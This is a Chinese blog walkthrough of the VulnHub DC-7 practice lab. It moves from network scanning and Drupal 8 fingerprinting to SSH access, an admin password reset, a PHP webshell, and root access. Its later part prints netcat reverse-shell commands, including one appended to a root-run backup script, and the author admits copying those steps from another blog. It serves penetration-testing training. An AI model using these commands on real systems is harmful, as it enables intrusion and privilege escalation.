vulnhub靶场之DC-7

一.环境搭建

1.靶场描述

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-7,356/
 

3.启动靶场环境

image-20240107140106370

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透靶场

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240107140338185

arp-scan -l
 

image-20240107140449593

我们知道靶场ip地址为192.168.52.129

(2)探端口及服务

nmap -A -V -P- 192.168.52.129
 

image-20240107140725475

发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
 

也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.52.129
 

image-20240107141039610

(3)web指纹识别

image-20240107141158758

3.渗透测试

(1)访问web服务

http://192.168.52.129
 

image-20240107141329485

我们通过wappalyzer发现cms是Drupal 8

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.129
 

image-20240107141449784

使用棱洞3.0指纹识别发现有Drupal

2)nikto扫描网站结构
nikto -h http://192.168.52.129
 

使用nikto工具扫描网站结构,发现robots.txt

(3)渗透测试

1)首先我们查看robots.txt

image-20240107142856087

可以看到是一些登录页面

http://192.168.52.129/index.php/user/login
 

image-20240107143030472

我们想的是暴力破解,但是题目提示我们不能暴力破解

image-20240107143201720

那么这个办法就行不通,我们试试Drupal8漏洞

2)查看Drupal 8漏洞

我们使用kali进行搜索Drupal8

searchsploit Drupal 8
 

找了一些Drupal 8 的漏洞 但是好像都不符合。

我们查看题目提示,说到谷歌可以提供很大的帮助,那么我们使用谷歌进行搜索

3)google搜索

我们再次查看页面,可以看到@DC7USER,我们进行搜索

image-20240107143833324

image-20240107144032699

我们进行查看

image-20240107144114598

我们在config.php里面发现是用户名和密码,而且靶场开启了22端口,我们进行ssh

image-20240107144152611

4)ssh登录
ssh dc7user@192.168.52.129
 

image-20240107144641435

发现可以登录成功

我们查看里面的文件,发现有两个文件

ls
 

image-20240107150256840

我们切换到backups文件夹当中,有两个加密的文件。

image-20240107150415171

我们查看mbox文件,发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。

image-20240107150655527

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。

image-20240107150910815

我们查看backups.sh

cat backups.sh
 

image-20240107150838393

可以看到命令是进入 cd /var/www/html/ 后执行drush。然后去百度看看 drush是干什么呢?

image-20240107151324192

这里有写一些drush基本语法。

https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell

drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin,ms02423是我设置的密码
drush user-password admin --password="ms02423"
 

image-20240107151725547

这样就修改成功了,这里ssh登录就是为了修改后台密码

5)安装php模块

我们可以看到登录成功

image-20240107151840914

进入到后台管理页面 然后就找写webshell的地方了

image-20240107195438599

发现Content里面可以编辑文章,依次点击Manage ——> Content ——> Add content ——> Basic page功能,尝试添加php一句话,但发现Drupal 8后为了安全需要将php单独作为一个模块导入;

image-20240107195817029

发现Extend里面可以安装新模块 试试可不可以安装php。

php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
 

image-20240107200017291

不知道为什么我的靶场php安装不成功,试了好多次都没有成功,所以后面的内容就没有办法写了

我在网上找了一篇wp,链接地址为

https://blog.csdn.net/qq_34028816/article/details/124572886
 

后面的内容因为我没有环境所以直接复制粘贴(ip地址为博主的ip地址)

image-20240107215004163

安装成功

点击Enable newly added modules激活模块

image-20240107215038470

点击前面的三角将前几栏折回,找到PHP Filetr勾选

image-20240107215115327

并且点击install

image-20240107215146522

我们可以看到安装成功

image-20240107215157777

6)写入一句话木马

我们写入一句话木马

image-20240107215226177

image-20240107215433021

我们连接蚁剑,可以看到连接成功

image-20240107215533180

image-20240107215558738

7)kali反弹shell

kali端先监听

nc -lvnp 4444
 

image-20240107215802992

蚁剑终端

nc -e /bin/sh 192.168.1.11 4444
 

image-20240107215817962

我们可以看到监听成功

image-20240107215839317

打开交互模式

python -c 'import pty;pty.spawn("/bin/bash")'
 

image-20240107215917778

8)提权

提权想到之前那个脚本

image-20240107215947890

有权限

kali再监听一个端口

nc -lvnp 6666
 

image-20240107220042141

将反弹shell写入脚本

echo "nc -e /bin/bash 192.168.1.11 6666" >> /opt/scripts/backups.sh
 

image-20240107220124037

然后再执行脚本

image-20240107220152769

提权到root

image-20240107220229197

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

9.实现交互式shell的几种方式

10.ssh登录

11.蚁剑的使用

  • 15
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值